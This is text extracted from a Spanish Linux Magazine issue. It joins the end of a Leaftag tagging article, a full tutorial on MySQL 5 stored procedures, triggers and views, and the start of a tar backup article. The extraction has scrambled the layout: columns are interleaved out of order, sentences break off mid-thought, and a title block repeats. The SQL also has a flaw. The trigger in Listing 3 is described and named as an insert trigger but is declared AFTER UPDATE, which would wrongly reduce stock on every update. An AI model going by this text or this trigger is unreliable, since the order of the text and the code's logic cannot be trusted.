tes y dejar que autoarranque:

killall U

bonobo-activation-server

killall gnome-panel

El último componente es un conjunto de herra-

mientas en línea de comando, las Tagutils, que no

deberían causar mayor problema.

Etiquetar en Línea deComandosEl programa que etiqueta archivos con nuestras

propias etiquetas de categorías se llama tagutils.

Este programa soporta cinco comandos que se

añaden a los nombres de los comandos: ls, tag,

tagprop, tags y untag. Para crear una nueva eti-

queta, sólo tenemos que etiquetar uno o más

archivos con ella: tagutils familia imagen.jpg.

En lugar de un archivo local, el usuario puede

especificar URLs y etiquetar de esta manera

recursos no locales.

Para etiquetar un directorio completo, en

lugar de un único archivo, tagutils tag tiene la

opción -r. La combinación tagutils untag tag file

elimina el nombre de la etiqueta.

Por supuesto, podemos asignar más de una

etiqueta a un archivo. Para ello, sólo tenemos

Número 22

Figura 1: F-Spot usa etiquetas para asociar

categorías a fotos. Desafortunadamente, las

etiquetas sólo están disponibles para la

propia herramienta.

Figura 2: Leaftag está basado en la base de datos Sqlite. La información se ubica en $HOME/

.tags.db y contiene tres tablas.

Leaftag • PRÁCTICO

33W W W . L I N U X - M A G A Z I N E . E S

[1] F-Spot: http://f-spot.org

[2] Leaftag: http://www.chipx86.com/wiki/

Leaftag

[3] Deskbar applet: http://raphael.slinckx.

net/deskbar

[4] Leaftag y Gimmie: http://david.navi.

cx/blog/?p=77

[5] Leaftag y Tomboy: http://www.

helsinki.fi/~pakaste/blog/

tomboy_leaftag.html

RECURSOS

SQL. Sin embargo, los disparadores, las vistas

y los procedimientos almacenados son carac-

terísticas bien recibidas en MySQL.

Hay que resaltar que algunas de estás fun-

cionalidades están aún en una fase temprana

de desarrollo. Muchas de ellas están o bien

incompletas o no funcionan a todo rendi-

miento. La versión 5.1 presenta algunos pro-

blemas con ellas y no hay duda que en próxi-

mas versiones se mejorarán.

Un Escenario de PedidosA lo largo de todo este artículo se va a hacer

referencia a las tablas products (productos),

order_headers (pedidos), order_lines (líneas

de pedidos), stock_quantities (cantidades en

stock) y customers (clientes) con propósito

ilustrativo. El Listado 1 muestra las sentencias

SQL create table que crean las tablas. Se hará

referencia a estas tablas en los ejemplos que

se van a dar de los procedimientos almacena-

dos, de los disparadores y de las vistas.

Procedimientos AlmacenadosAntes de empezar a explicar qué son los pro-

cedimientos almacenados, voy a comentar

que cuando se usa el término procedimiento

almacenado, se hace referencia tanto a proce-

dimientos almacenados como a funciones

almacenadas. Un procedimiento almacenado

acepta una entrada múltiple y parámetros de

salida. Una función almacenada también

acepta una entrada múltiple pero devuelve un

El sistema de gestión de base de datos

de código abierto MySQL es utilizado

en muchas de las empresas más pun-

teras, como Yahoo y Ticketmaster. Además

sirve de base de datos a multitud de proyectos

de código abierto de la web como la Wikipe-

dia. Sin embargo, muchas organizaciones

empresariales han evitado tradicionalmente

el uso de MySQL en favor de sistemas de ges-

tión de bases de datos comerciales, como

Oracle y DB2. En MySQL 5.0 [1], los desarro-

lladores de MySQL han empezado a introdu-

cir una serie de características que hacen de

su motor un sistema más competitivo con los

sistemas de bases de datos comerciales. Este

artículo examina estas características, muchas

de las cuales fueron presentadas en la versión

5.0, mientras que otras han sido mejoradas en

la 5.1, versión que aún está en fase beta al

tiempo de escribir este artículo pero que será

oficial al tiempo de publicarse. He utilizado la

versión 5.1.9-beta para probar los listados que

aparecen aquí.

Tres de las características nuevas más atrac-

tivas de MySQL 5.x son los procedimientos

almacenados, los disparadores y las vistas.

Estas características no son nuevas para la

industria. Oracle, por ejemplo, presentó pri-

mero PL/SQL [2], su implementación de un

lenguaje procedimental para SQL, en 1991.

Sybase, PostgreSQL y DB2 están entre los

otros sistemas de gestión de bases de datos

que poseen un lenguaje procedimental para

PRÁCTICO • MySQL 5

34 Número 22 W W W . L I N U X - M A G A Z I N E . E S

PRÁCTICO • MySQL 5

único valor. Esta restricción permite a las fun-

ciones almacenadas usarse dentro de las sen-

tencias SQL, lo cual hace posible extender las

capacidades de SQL de manera extensiva.

Los procedimientos almacenados son una

herramienta potente que ha de disponer todo

desarrollador. Pueden ser de gran beneficio

en términos de rendimiento y de diseño de la

aplicación. En términos de rendimiento, es

posible reducir bastante el tráfico de red reali-

zando más procesamiento de datos en los

confines de la base de datos. Reduciendo el

tráfico de red se puede eliminar la latencia

asociada con las comunicaciones del servidor

de aplicaciones con el servidor de la base de

datos, particularmente cuando se encuentran

en servidores separados, como es el caso en la

mayoría de las aplicaciones a gran escala.

Con los procedimientos almacenados se

puede adoptar una solución de caja negra al

diseño e implementación de la aplicación. Un

desarrollador programando en Java, PHP,

Ruby o cualquier otro lenguaje con soporte

para MySQL no tiene por qué tener un amplio

conocimiento de SQL o PL/SQL. En un

equipo de desarrollo de varios miembros, se

pueden tener programadores de procedimien-

tos almacenados concentrados en el

desarrollo de procedimientos almacenados y

programadores de Java, PHP o Ruby concen-

trados en sus lenguajes de programación par-

ticulares. Como cada programador es cons-

ciente de las entradas y de las salidas espera-

Procedimientos Almacenados, Disparadores y Vistas en MySQL 5

LA SECUELAVamos a mostrar cómo algunas de las características nuevas de

MySQL 5 mejorarán el diseño del software y aumentarán el

rendimiento de las aplicaciones. POR LARKIN CUNNINGHAM

LA SECUELAVamos a mostrar cómo algunas de las características nuevas de

MySQL 5 mejorarán el diseño del software y aumentarán el

rendimiento de las aplicaciones. POR LARKIN CUNNINGHAM

Procedimientos Almacenados, Disparadores y Vistas en MySQL 5

Si se está en un entorno heterogéneo con

múltiples plataformas de desarrollo, el uso de

procedimientos almacenados podría ser una

forma de desarrollar la lógica del proceso de

datos en una localización central. Después de

todo, los procedimientos almacenados no se

preocupan de los lenguajes de programación

que los invocan.

DisparadoresLos disparadores tienen múltiples usos,

incluyendo trabajos domésticos como

auditorías y archivado de históricos,

aunque pueden tener muchos otros. Un

escenario común es donde el disparador

se lanza después de crearse una línea

nueva, por ejemplo cuando una línea de

pedido se añade a la tabla order_lines.

Un disparador se puede lanzar después

de que se inserte una fila para actualizar

una cantidad de stock de un producto en

la tabla stock_quantities.

Cuando se requiere un histórico, se

puede tener una tabla para los históricos

para cada tabla donde se desee almace-

nar dicha información. Por ejemplo, la

tabla products podría tener asociada una

tabla products_archive con todas las

columnas de la tabla de productos. Para

archivar de forma automática, se pueden

crear disparadores en la tabla de produc-

tos para insertar una fila en

products_archive que se ejecute después

de cada actualización o eliminación. No

se crearía un disparador que se activase

después de una inserción, porque para

poder realizar una consulta sobre la his-

toria completa de un determinado pro-

ducto, se puede obtener la unión de la

fila de la tabla products y las filas asocia-

das en la tabla products_archive.

La solución es similar cuando se requiere

auditar. En vez de tener una tabla de histó-

rico asociada donde se desea realizar el his-

tórico, se tendrá una única tabla de audito-

ría. A las tablas a las que se les desea audi-

tar su actividad, se les crearán disparadores

que se ejecutarán después de cada opera-

ción de inserción, actualización o borrado.

Estos disparadores deberían insertar una

fila en la tabla de auditoría conteniendo la

naturaleza de la acción, la tabla afectada, la

marca de tiempo y cualquier dato clave que

se considere apropiado. Esta solución que

utiliza disparadores en la base de datos para

realizar la auditoría y no en el código de la

aplicación puede reducir el número de

líneas a programar por los desarrolladores y

al mismo tiempo conseguir mayor consis-

tencia en un entorno en el que muchas apli-

caciones pueden acceder a la misma base

de datos. Hay diversas soluciones adecua-

das para auditar que pueden ser empleadas

en el código de la aplicación, así que cada

caso tendrá que ser examinado en su con-

texto.

Sobre las VistasUna vista es una tabla virtual generada desde

una consulta almacenada. Una consulta

almacenada a menudo es una consulta multi-

join con ciertas condiciones incorporadas. Por

simplicidad, se puede considerar como un

subconjunto de una tabla grande. Un ejemplo

trivial, usando la tabla products de nuevo,

sería crear una vista llamada

das, ambos desarrolladores pueden trabajar

en paralelo. Esto puede ser una buena

manera de trabajo especializado si el proyecto

es lo suficientemente grande como para

garantizar los recursos de programación dedi-

cada.

La portabilidad se ve también mejorada al

desarrollar parte de la lógica dentro de la pro-

pia base de datos. Sería posible, por ejemplo,

desarrollar una aplicación por lotes en C, una

aplicación web con Ruby on Rails y un servi-

cio web en Java; utilizando todos estos siste-

mas los mismos procedimientos almacena-

dos.

El desarrollo de aplicaciones que utilizan una

base de datos relacional se puede llevar a cabo

tanto introduciendo todo el código SQL en la

aplicación como poniéndolo en procedimientos

almacenados y sólo llamar a estos procedimien-

tos almacenados desde la aplicación. Muchos

desarrolladores utilizan proyecciones objetos-

relaciones como Hibernate [3] (para Java) y

ActiveRecord [4] (para Ruby on Rails) cuando

los procedimientos almacenados son irrelevan-

tes. La decisión para adoptar una solución sobre

cómo manejar el procesamiento de datos para

una aplicación dependerá de factores como el

rendimiento y la portabilidad. Si el rendimiento

no es importante, se estará en posición de consi-

derar un sistema de proyección objetos-relacio-

nes que genere las instrucciones SQL al vuelo.

Pero si se está interesado en obtener un buen

rendimiento y se tienen niveles de servicios que

demandan una cierta cantidad de transacciones

por segundo o un tiempo de respuesta en un

cierto número de milisegundos, se tendrán que

investigar los beneficios de utilizar los procedi-

mientos almacenados.

Número 22

Listado 1: El esquema de la base de datos para estos ejemplos

MySQL 5 • PRÁCTICOMySQL 5 • PRÁCTICO

35W W W . L I N U X - M A G A Z I N E . E S

01 CREATE TABLE products (

02 id MEDIUMINT NOT NULL

AUTO_INCREMENT,

03 name CHAR(40) NOT NULL,

04 cost DOUBLE(9,2) UNSIGNED

DEFAULT 0.0,

05 PRIMARY KEY (id)

06 );

07

08 CREATE TABLE stock_quantities

(

09 id MEDIUMINT NOT NULL

AUTO_INCREMENT,

10 product_id MEDIUMINT NOT NULL,

11 quantity MEDIUMINT NOT NULL

DEFAULT 0,

12 PRIMARY KEY (id)

13 );

14

15 CREATE TABLE order_headers (

16 id MEDIUMINT NOT NULL

AUTO_INCREMENT,

17 customer_id MEDIUMINT NOT

NULL,

18 order_date DATETIME NOT NULL,

19 order_status CHAR(1) DEFAULT

‘O’,

20 PRIMARY KEY (id)

21 );

22

23 CREATE TABLE order_lines (

24 id MEDIUMINT NOT NULL

AUTO_INCREMENT,

25 order_id MEDIUMINT NOT NULL,

26 product_id MEDIUMINT NOT NULL,

27 quantity MEDIUMINT NOT NULL

DEFAULT 0,

28 PRIMARY KEY (id)

29 );

30

31 CREATE TABLE customers (

32 id MEDIUMINT NOT NULL

AUTO_INCREMENT,

33 name VARCHAR(70) NOT NULL,

34 address VARCHAR(200) NOT NULL,

35 phone VARCHAR(20) NOT NULL,

36 email VARCHAR(40) NOT NULL,

37 PRIMARY KEY (id)

38 );

PRÁCTICO • MySQL 5

36 Número 22 W W W . L I N U X - M A G A Z I N E . E S

UNTIL y WHILE-

DO).

El tamaño de

este artículo no

permite una refe-

rencia exhaustiva

de todas las carac-

terísticas del len-

guaje procedimen-

tal de MySQL. Por

ello, voy a explicar

cómo están estruc-

turados los proce-

dimientos almace-

nados y los dispa-

radores de MySQL

y proporcionaré

algunos ejemplos

que ofrecerán una

muestra de lo que

son realmente los

procedimientos

almacenados, los disparadores y las vistas. Si

se tienen conocimientos de programación en

cualquier lenguaje moderno, el lenguaje pro-

cedimental de MySQL parecerá bastante sim-

ple. Está diseñado como un medio para pro-

porcionar entradas en las sentencias SQL y

para manipular los resultados, no como un

lenguaje para competir con los lenguajes del

estilo PHP y Java.

La Estructura de unProcedimiento AlmacenadoLos procedimientos almacenados están escri-

tos de forma que permitan ser creados por

cualquier herramienta que ejecute SQL. Algu-

nos de mis listados se muestran en MySQL

Query Browser [6], una herramienta muy útil

y gratuita de MySQL.

Se escriben como

scripts SQL que bási-

camente le indican a

MySQL el nombre del

procedimiento alma-

cenado y su conte-

nido. Si el procedi-

miento contiene erro-

res, MySQL infor-

mará de ello cuando

se intente crear el pro-

cedimiento almace-

nado.

La Figura 1 mues-

tra un procedimiento

almacenado que

acepta un valor

entero para

sumarse a un

stock. Como el delimitador por defecto en

MySQL es el punto y coma, y el lenguaje pro-

cedimental de MySQL utiliza el punto y coma

para terminar cada sentencia del programa,

habrá que indicarle a MySQL que cambie el

delimitador mientras se crea el procedi-

miento. La convención usual es cambiar el

delimitador a un signo dolar doble con la sen-

tencia DELIMITER $$ (Línea 1). La siguiente

sentencia (Línea 3) indica a MySQL que borre

(destruya) el procedimiento almacenado que

tenga el mismo nombre en caso de existir. Si

no existe, entonces esta sentencia será igno-

rada y el analizador de MySQL continuará. La

Línea 4 hace que MySQL cree un procedi-

miento almacenado nuevo con el nombre y

los parámetros proporcionados. El procedi-

miento almacenado comienza con la senten-

cia BEGIN (Línea 7). A continuación siguen

una serie de sentencias de declaraciones, con-

diciones e iteraciones que finalizan con la

sentencia END (Línea 26). Obsérvese que

END va seguida por el delimitador temporal,

el signo dólar doble. Esto se debe a que ha

finalizado el procedimiento almacenado y se

ha vuelto al análisis normal de SQL de

MySQL. En este punto, se conmuta al delimi-

tador por defecto, el punto y coma (Línea 28).

Variables, Parámetros yTipos de DatosEn la Figura 1 se ha declarado una variable

max_addition (Línea 8) y tres parámetros

stock_addition, product_id y new_stock

(Líneas 4 a 6). Las palabras reservadas IN

y OUT le indican a MySQL que el paráme-

tro puede recibir un valor de entrada,

devolver un valor de salida o ambos

(declarando el parámetro como IN OUT).

products_out_of_stock (productos_fuera_de_

stock), que se realizaría sobre la tabla pro-

ducts y la tabla stock_quantities, donde el

nivel de stock es cero.

Las vistas ayudan a escribir código SQL

para acceder cómodamente a conjuntos de

datos. Pero también ayudan a la eficiencia,

porque la consulta de la vista subyacente

puede ser almacenada en caché y se cargará

más rápidamente que distintas versiones de

esa consulta ejecutándose desde diferentes

sitios.

Lenguaje de ProcedimientosMySQL

MySQL 5 proporciona un lenguaje procedi-

mental que se puede utilizar para crear proce-

dimientos almacenados y disparadores. En

vez de utilizar uno basado en C o Python, los

desarrolladores de MySQL han creado otro de

acuerdo con el estándar ANSI SQL:2003 [5].

El estándar ANSI es usado por los desarrolla-

dores de otros sistemas de gestión de bases de

datos en varios grados, así que siguiendo el

estándar, las habilidades obtenidas en el

desarrollo de los procedimientos almacena-

dos y los disparadores de MySQL son transfe-

ribles a otras bases de datos como Oracle,

DB2 y PostgreSQL, que poseen implementa-

ciones del lenguaje procedimental similares.

Al igual que los lenguajes de programación

con los que se estará familiarizado, como

PHP y Java, el lenguaje procedimental de

MySQL posee las construcciones adecuadas

para crear código útil. Esto incluye sentencias

condicionales (IF-THEN-ELSE y CASE-

WHEN) y sentencias iterativas (REPEAT-

Figura 1: Un procedimiento almacenado sencillo en el Query Browser de MySQL.

Figura 2: Un procedimiento diseñado para devolver un conjunto de resultados.

Los parámetros pueden ser usados como

variables normales, pero tan sólo los OUT

podrán tener un valor modificado dentro

del procedimiento.

Las variables tienen que ser declaradas

explícitamente y han de tener además un

tipo asignado; opcionalmente también

pueden tener un valor por defecto. Los

tipos que se pueden escoger son los tipos

de datos SQL estándar de las columnas de

las tablas. Todos los tipos de datos son

escalares, es decir, tan sólo pueden alma-

cenar un único valor discreto. Esta regla

deja fuera de juego a tipos de datos como

los arrays, lo que podría ser frustrante para

los desarrolladores acostumbrados a pro-

gramar en lenguajes como PHP y Java,

pero hay soluciones, como tablas tempora-

les usando un motor de almacenamiento

en memoria. Algunos de los tipos de datos

típicos son CHAR y VARCHAR (para carac-

teres y cadenas), DATE, DATETIME, INT

(incluyendo TINYINT, SMALLINT, MEDIU-

MINT y BIGINT), DECIMAL, FLOAT, DOU-

BLE y otros. Pueden almacenarse grandes

cantidades de datos utilizando otros tipos

de datos, como TEXT (hasta 64 Kilobytes)

y BLOB (objetos binarios grandes, en teo-

ría se pueden almacenar hasta 4 Terabytes

en un LONGBLOB).

SQL en ProcedimientosAlmacenados

Al contrario que en los lenguajes de programación

como PHP y Java, no hay controladores de los que

preocuparse y no hace falta ninguna función especial

o llamada a métodos para ejecutar las sentencias

SQL. Por el contrario, las sentencias SQL pueden eje-

cutarse al vuelo y los resultados se leen directamente

de las variables. Las sentencias INSERT y UPDATE

pueden leer valores directamente de las variables y

los parámetros.

En la Figura 1, una sentencia UPDATE (Línea 12)

entremezcla nombres de tablas, nombres de colum-

nas y parámetros. En la siguiente sentencia SELECT

(Línea 16), se selecciona un valor directamente como

un parámetro INTOOUT. Como se comentó ante-

riormente, el lenguaje procedimental de MySQL es

en último término un medio para introducir datos a

SQL y procesar los resultados.

En la sentencia SELECT (Línea 16) de la

Figura 1, se ha seleccionado un valor en un

parámetro OUT. Suponiendo que la columna

id garantiza la unicidad, esto es correcto.

Pero, ¿qué sucedería si la sentencia SQL

devolviese múltiples valores? Tan sólo se

puede realizar la selección a una variable si se

está seguro al 100% de que el valor devuelto

será único. Por ello el discriminador (la claú-

sula tras la palabra reservada WHERE) utiliza

una clave única, como una columna id con

un auto_increment o donde se selecciona un

valor de función en una variable, como

SUM() o MAX(). Anteriormente se mencionó

que las variables eran escalares y tan sólo

podían albergar valores simples. Esta regla eli-

mina la posibilidad de devolver una lista de

valores directamente a una variable. Aquí es

donde el concepto de cursor viene al rescate.

Utilizando CursoresUn cursor es un puntero a un conjunto de

resultados obtenidos por una consulta

SELECT. Aunque se utiliza principalmente

por consultas SELECT que devuelven más de

una fila, también se puede utilizar donde sólo

se devuelva una única fila. Incluso si no se

devuelve ninguna, no se generará ningún

error. Sin embargo, si intentamos capturar

una fila o desde un conjunto de resultados

vacíos o más allá de la última fila de un con-

junto de resultados, se generará un error de

MySQL.

El Listado 2 muestra mi forma preferida de

manejar cursores utilizando REPEAT-UNTIL.

Se comienza el procedimiento declarando

algunas variables estándar, incluyendo una

denominada not_found (no_encontrada). La

variable not_found se utiliza junto con un

HANDLER para la condición NOT FOUND. Es

37Número 22W W W . L I N U X - M A G A Z I N E . E S

MySQL 5 • PRÁCTICO

Listado 2: Un procedimiento almacenado utilizando un cursor

01 DELIMITER $$

02

03 DROP PROCEDURE IF EXISTS

show_orders_processed $$

04 CREATE PROCEDURE

show_orders_processed ()

05 BEGIN

06

07 DECLARE v_o_id MEDIUMINT;

08 DECLARE v_c_name VARCHAR(70);

09 DECLARE v_c_phone VARCHAR(20);

10 DECLARE v_o_date DATETIME;

11 DECLARE v_o_total DOUBLE(9,2);

12 DECLARE not_found TINYINT;

13

14 /* Seleccionar pedidos

procesados */

15 DECLARE order_summary_cur

CURSOR FOR

16 SELECT oh.id

17 , c.name

18 , c.phone

19 , oh.order_date

20 , SUM(p.cost * ol.quantity) AS

total_cost

21 FROM products p

22 , customers c

23 , order_headers oh

24 , order_lines ol

25 WHERE c.id = oh.customer_id

26 AND oh.id = ol.order_id

27 AND ol.product_id = p.id

28 AND oh.order_status = ‘P’

29 GROUP BY oh.id

30 , c.name

31 , c.phone

32 , oh.order_date;

33

34 DECLARE CONTINUE HANDLER FOR

35 NOT FOUND

36 SET not_found = 1;

37

38 SET not_found = 0;

39

40 OPEN order_summary_cur;

41

42 order_summary_loop:REPEAT

43

44 FETCH order_summary_cur

45 INTO v_o_id

46 , v_c_name

47 , v_c_phone

48 , v_o_date

49 , v_o_total;

50

51 IF not_found THEN

52 LEAVE order_summary_loop;

53 END IF;

54

55 SELECT CONCAT(‘Order ID: ‘,

v_o_id, ‘, Name: ‘, v_c_name,

56 ‘, Phone: ‘, v_c_phone, ‘,

Order Date: ‘, v_o_date,

57 ‘, Order Total:’, v_o_total);

58

59 UNTIL not_found

60 END REPEAT order_summary_loop;

61

62 CLOSE order_summary_cur;

63

64 END $$

65

66 DELIMITER ;

resultado en la

consola o en

MySQL Query

Browser. No

tiene mucha uti-

lidad si se

desean manejar

datos en el con-

junto de resulta-

dos del cursor.

Sin embargo, es

posible devolver

un conjunto

resultado al pro-

grama que lo

invoca sin el cur-

sor y el código

del manejador.

Una sentencia

SQL puede ser

ubicada en un

procedimiento almacenado sin declarar un

cursor y sin realizar un SELECT sobre unas

variables. Se escribe tal y como se escribiría

si se estuviera ejecutando SQL en el MySQL

Query Browser o en phpMyAdmin [7].

En el ejemplo del Listado 2, simplemente

quitamos todas las sentencias entre el

BEGIN y END excepto la consulta SQL. La

Figura 2 muestra este elegante procedi-

miento almacenado.

Hay que tener en cuenta cómo se ha

cambiado ahora el procedimiento almace-

nado para recibir un parámetro para selec-

cionar los pedidos de un pedido particular.

Ahora este procedimiento almacenado

puede devolver potencialmente el conjunto

de resultados de la consulta a un programa,

suponiendo que el lenguaje del programa

que lo invoque

soporte estos tipos

de conjuntos de

resultados sin lími-

tes.

Es posible tener

múltiples consultas

SQL como en la

Figura 2. Esto

podría ser útil para

conjuntos de datos

relacionados. Sin

embargo, es prefe-

rible tener una

solución más lim-

pia y tener consul-

tas individuales

que devuelvan con-

juntos de resulta-

dos simples.

Llamada a unProcedimiento Almacenado

Muchos estarán esperando que se muestre

algún código de ejemplo de un lenguaje de

programación. Se va a mostrar un ejemplo en

PHP. La solución es similar para otros lengua-

jes que dispongan del controlador de MySQL,

como Java, Ruby o Python. El código de

ejemplo llamará al procedimiento almace-

nado de la Figura 2.

Para MySQL 5, se tiene que tener la exten-

sión mysqli [8] orientada a objetos cargada y

compilada en PHP. La Figura 3 muestra las

llamadas a los métodos utilizando mysqli. La

Línea 10 presenta el procedimiento almace-

nado que se llama. Nótese que no parece ser

diferente de una llamada SQL normal. La sen-

tencia while de la Línea 21 itera a través de las

filas del conjunto de resultados devuelto,

justo como si se tratase de un conjunto de

resultados de una consulta SQL normal.

Ejemplo de DisparadorMientras que los procedimientos almace-

nados son iniciados mediante llamadas

directas cuando se requiere su ejecución,

los disparadores, por otro lado, son ini-

ciados por eventos que provocan que se

ejecuten los disparadores. Los eventos

en cuestión son las inserciones, las

actualizaciones y los borrados.

Volviendo a las tablas de ejemplo del

Listado 1, es posible imaginar un escena-

rio donde un cliente A hace un pedido

del producto B. Una solución para regis-

trar esto en la base de datos es ejecutar

un procedimiento almacenado que

inserte una cabecera de pedido y una

decir, cuando una condición NOT FOUND se

encuentra, si el cursor va más allá del límite,

el valor de not_found se establecerá a 1 o

TRUE.

El cursor order_summary_cur no es nada

más que un valor asignado a una variable de

ese nombre hasta que se realice una opera-

ción OPEN sobre él. Una vez abierto, se pue-

den comenzar a capturar desde el cursor a las

variables en el mismo orden en que aparecen

en las columnas de la sentencia SELECT del

cursor. Para capturar todas las filas devueltas

por la consulta de selección, habrá que utili-

zar una sentencia iterativa. Hay diversas for-

mas de realizar esto, pero mi preferida es

REPEAT-UNTIL. Aunque la sentencia REPEAT

continúa hasta que se encuentre una condi-

ción específica que sea verdad (la variable

not_found, en este caso), se puede optar por

dejar el bucle antes de que se llegue a la con-

dición UNTIL. Para ello, se utiliza una eti-

queta para nombrar la iteración, order_sum-

mary_loop en este ejemplo. Esto nos permite

abandonar el bucle antes de utilizar una de

las variables capturadas, que, en el caso de

una captura más allá de la última fila, resulta-

ría en un error.

La sentencia SELECT CONCAT puede pare-

cer extraña, pero es como se muestran los

valores devueltos por el cursor de la consulta.

Devolviendo Conjuntos deResultados al CódigoSi se es un programador experimentado utili-

zando PHP, Java, Python o Ruby, se estará

preguntando acerca del propósito de los pro-

cedimientos almacenados como el que apa-

rece en el Listado 2, ya que sólo muestra el

PRÁCTICO • MySQL 5

38 Número 22 W W W . L I N U X - M A G A Z I N E . E S

Figura 3: Una llamada PHP simple a un procedimiento almacenado

utilizando mysqli.

Figura 4: Creando una vista en SQL.

39Número 22W W W . L I N U X - M A G A Z I N E . E S

línea de pedido y que luego actualice la can-

tidad de stock del producto. Sin embargo, otra

solución es decir que en cualquier momento

se puede crear una línea de pedido, la canti-

dad correspondiente al stock para el producto

pedido será siempre reducida por la cantidad

pedida. Podemos considerar esta regla de

negocio. En vez de tener que escribir la con-

sulta de actualización cada vez que se pida un

producto, se puede crear un disparador que

sea ejecutado cada vez que se inserte una

línea de pedido. Esto permite tener reglas de

negocio concretas introducidas en la base de

datos.

El Listado 3 muestra un disparador que se

ejecuta después de que se produzca una

actualización. La palabra reservada NEW hace

referencia a los valores de la fila nueva, tal y

como están después de que se haya comple-

tado la actualización. La palabra reservada

OLD también está

disponible y con-

tiene los valores de

la fila antes de que

se produjera la

actualización o el

borrado. Para el

histórico, por

ejemplo, se podría

querer insertar los

valores antiguos de

la fila en una tabla

de históricos para

su posterior con-

sulta. Para las audi-

torías, se podría

querer insertar

tanto los valores

antiguos como los

nuevos en una

tabla de seguimiento de la auditoría.

También se puede ejecutar un disparador

antes de que ocurra una actualización, una

inserción o un borrado. Esto puede ser útil

cuando se deseen modificar los valores de la

fila nueva, por ejemplo, para propósitos de

validación.

Un Ejemplo de VistaEn el Listado 2 se tiene un trozo atractivo de

SQL que obtiene resúmenes de los pedidos

procesados. Para muchas aplicaciones, esto

podría ser un conjunto de resultados útiles

para poder reusarlo en diversos sitios dentro

de la aplicación. Una vista es un mecanismo

para almacenar y reutilizar una consulta útil y

acceder a ella como si fuese una tabla normal

y corriente. La complejidad subyacente de la

consulta queda oculta y simplemente se pue-

den seleccionar las columnas de esta tabla vir-

tual.

Las vistas no pueden aceptar parámetros. Si

se necesita que la consulta acepte parámetros,

es preciso crear un procedimiento almace-

nado. La Figura 4 muestra la consulta del Lis-

tado 3 creada en la forma de una vista. La

Figura 5 muestra los resultados de ejecutar

una consulta utilizando la vista. Obsérvese

cómo se parece una consulta a una tabla nor-

mal y corriente.

Los Próximos PasosEn este artículo he intentado presentar

algunas de las capacidades de MySQL 5:

los procedimientos almacenados, los dispa-

radores y las vistas. Estos ejemplos propor-

cionarán al lector una idea acerca de la uti-

lidad de estas nuevas características para el

desarrollo de su software. No hay que olvi-

dar que los procedimientos almacenados

son sobre consultas SQL. Si se está escri-

biendo SQL ineficientemente en el código

del programa, probablemente se sigan

escribiendo consultas ineficientes en las

consultas SQL de los procedimientos alma-

cenados.

El conjunto de características es comple-

tamente nuevo para MySQL, pero aquellos

que hayan trabajado con procedimientos

almacenados en otras bases de datos como

Oracle, DB2 y PostgreSQL, probablemente

estén más interesados en las diferencias

entre la implementación de MySQL y las de

la base de datos en la que se haya traba-

jado. El lenguaje de procedimientos de

MySQL aun no está finalizado. En versio-

nes posteriores de MySQL 5 se mejorará el

conjunto de características considerable-

mente y se mejorarán los aspectos en los

que la implementación de MySQL se ve

superada por la solución de sus competido-

res.

La documentación [9] de las nuevas

características del sitio web de MySQL es

adecuada. Sin embargo, se están publi-

cando libros por MySQL Press y otras edito-

riales que proporcionan un resumen deta-

llado de las características de MySQL. �

MySQL 5 • PRÁCTICO

Listado 3: Un disparador deactualización sencillo

01 DELIMITER $$

02 CREATE TRIGGER

order_lines_ins_trg

03 AFTER UPDATE ON order_lines

FOR EACH ROW

04 BEGIN

05 UPDATE stock_quantities

06 SET quantity = quantity -

NEW.quantity

07 WHERE product_id =

NEW.product_id;

08 END $$

09 DELIMITER ;

Figura 5: Utilizando una vista en una consulta normal y corriente.

[1] MySQL 5.0 Community Edition: http://

www.mysql.com/products/database/

mysql/community_edition.html

[2] Centro de tecnología de Oracle PL/

SQL: http://www.oracle.com/

technology/tech/pl_sql/index.html

[3] Hibernate Object Relational Mapper

para Java y .NET: http://www.

hibernate.org/

[4] ActiveRecord Object Relational Map-

per para Ruby: http://rubyforge.org/

projects/activerecord/

[5] Una publicación del ANSI SQL:2003

de Eisenberg et al: http://www.

sigmod.org/sigmod/record/issues/

0403/E.JimAndrew-standard.pdf

[6] MySQL Query Browser: http://www.

mysql.com/products/tools/

query-browser/

[7] phpMyAdmin: http://sourceforge.net/

projects/phpmyadmin

[8] Extensión mysqli de PHP: http://www.

php.net/mysqli

[9] Documentación online de MySQL

sobre procedimientos almacenados:

http://dev.mysql.com/doc/refman/5.0/

en/stored-procedures.html

Recursos

PRÁCTICO • Backups tar

40 Número 22 W W W . L I N U X - M A G A Z I N E . E S

Utilizando tar para prepararse ante una emergencia

BOTE SALVAVIDAS

realiza una copia exacta de su instalaciónLinux a un fichero. Éste puede desempa-quetarse en un disco diferente, o en un sis-tema de ficheros distinto, en caso de emer-gencia o si necesita crear una copia. Laopción -c le indica a tar que cree un archivo;-p pasa los permisos y -v proporciona datosde salida por pantalla. -f le asigna un nom-bre al fichero que está creando. La barraque sigue al nombre de la imagen indica elpunto de inicio del archivo y la etiqueta -jcrea un archivo comprimido Bzip2. En vezde -j, puede especificarse -z para usar gzippara comprimir el archivo. La diferenciaestá en el tamaño resultante y el tiempo quetarde en crear el fichero: gzip es más rápido,pero crea ficheros más grandes; bzip2 tardamás, pero utiliza un método más eficientede compresión. ¿Cuánto tiempo tardará unacopia de seguridad y el tamaño del ficherotar resultante? Depende de la CPU y de losdatos que esté manejando.

Especificación del ContenidoPero si se realiza una copia de seguridad taly como se ha descrito, aparecerán diversosmensajes de error. Se le había indicado a tarque creara una imagen del sistema de fiche-ros raíz, así que intentará de forma recur-

siva añadirse así mismo en la copia de segu-ridad. Y mientras lo está realizando mos-trará un mensaje indicando que el ficherode la imagen está cambiando al tiempo quese está realizando la copia de seguridad.Aunque se pueda continuar con esto, nohay mucho problema si se añaden todos losficheros a la imagen.

Lo normal es que se desee realizar unacopia de seguridad de los datos del directo-rio home en un medio de almacenamientoexterno, aunque los datos volátiles comoéstos, no deberían formar parte de la copiade seguridad, ya que no tienen nada quehacer cuando se restaure el sistema y loúnico que hacen es engordar la copia deforma innecesaria.

Para excluir de forma explícita una seriede ficheros y directorios del fichero de ima-gen de la copia de seguridad, tar propor-ciona la opción —exclude-from. El paráme-tro lee las entradas de ficheros y directoriosque han ser excluidos de la imagen desdeun fichero:

01 user # cat << EOF >> U

02 /tmp/out

03 > /home/*

04 > /mnt/*

Linux no presenta muchas opcionespara realizar una copia de seguridad,sin embargo, una copia uno a uno

siempre utilizará la misma cantidad deespacio que una partición del disco. Sepuede ahorrar espacio comprimiendo losdatos de la copia de seguridad.

